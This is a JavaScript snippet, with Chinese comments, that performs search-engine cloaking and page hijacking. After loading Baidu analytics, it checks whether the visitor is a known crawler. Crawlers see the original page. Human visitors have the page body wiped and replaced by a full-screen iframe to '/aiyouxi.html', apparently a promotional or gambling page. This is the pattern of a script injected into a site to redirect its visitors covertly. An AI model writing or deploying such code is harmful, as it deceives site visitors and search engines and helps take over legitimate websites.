<script>
document.addEventListener('DOMContentLoaded', function () {
  // 百度统计脚本加载 - 保持不变
  var _hmt = _hmt || [];
  (function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?6fd695e853cc183921e341b541abd60a";
    var s = document.getElementsByTagName("script")[0]; 
    s.parentNode.insertBefore(hm, s);
  })();

  // 改进的爬虫 User Agent 检测
  var spiderReg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou|Googlebot|bingbot|Slurp|DuckDuckBot|facebot|ia_archiver)/i;

  // 如果不是爬虫
  if (!spiderReg.test(navigator.userAgent)) {
    // 设置目标页面 - 建议使用完整的URL路径
    var targetSrc = '/aiyouxi.html';
    
    // 为爬虫添加noindex meta标签，防止索引iframe内容
    var noindexMeta = document.createElement('meta');
    noindexMeta.setAttribute('name', 'robots');
    noindexMeta.setAttribute('content', 'noindex');
    document.head.appendChild(noindexMeta);

    // 插入必要的 meta 标签
    var meta1 = document.createElement('meta');
    meta1.setAttribute('http-equiv', 'X-UA-Compatible');
    meta1.setAttribute('content', 'IE=edge');
    document.head.appendChild(meta1);

    var meta2 = document.createElement('meta');
    meta2.setAttribute('name', 'viewport');
    meta2.setAttribute('content', 'width=device-width,initial-scale=1');
    document.head.appendChild(meta2);

    // 创建样式
    var styleCSS = document.createElement('style');
    styleCSS.textContent = `
      html, body {
        position: relative;
        width: auto !important;
        height: 100% !important;
        min-width: auto !important;
        overflow: hidden;
        margin: 0;
        padding: 0;
      }
      .iframe-container {
        position: fixed;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        z-index: 9999999999;
        background: #fff;
      }
      iframe {
        border: none;
        width: 100%;
        height: 100%;
      }
    `;
    document.head.appendChild(styleCSS);

    // 创建 iframe 容器
    var iframeContainer = document.createElement('div');
    iframeContainer.className = 'iframe-container';

    // 创建 iframe
    var iframe = document.createElement('iframe');
    iframe.src = targetSrc;
    
    // 为iframe添加noindex属性，防止搜索引擎跟踪
    iframe.setAttribute('data-noindex', 'true');
    
    // 将 iframe 添加到容器中
    iframeContainer.appendChild(iframe);

    // 清空body并添加容器
    document.body.innerHTML = '';
    document.body.appendChild(iframeContainer);
    
    // 防止页面被缓存
    document.addEventListener('onunload', function(){});
    
  } else {
    // 如果是爬虫，添加canonical标签指向当前页面
    var canonical = document.createElement('link');
    canonical.setAttribute('rel', 'canonical');
    canonical.setAttribute('href', window.location.href);
    document.head.appendChild(canonical);
    
    // 确保蜘蛛看到的内容是完整的
    console.log("Spider detected, showing original content for SEO.");
  }
});
</script>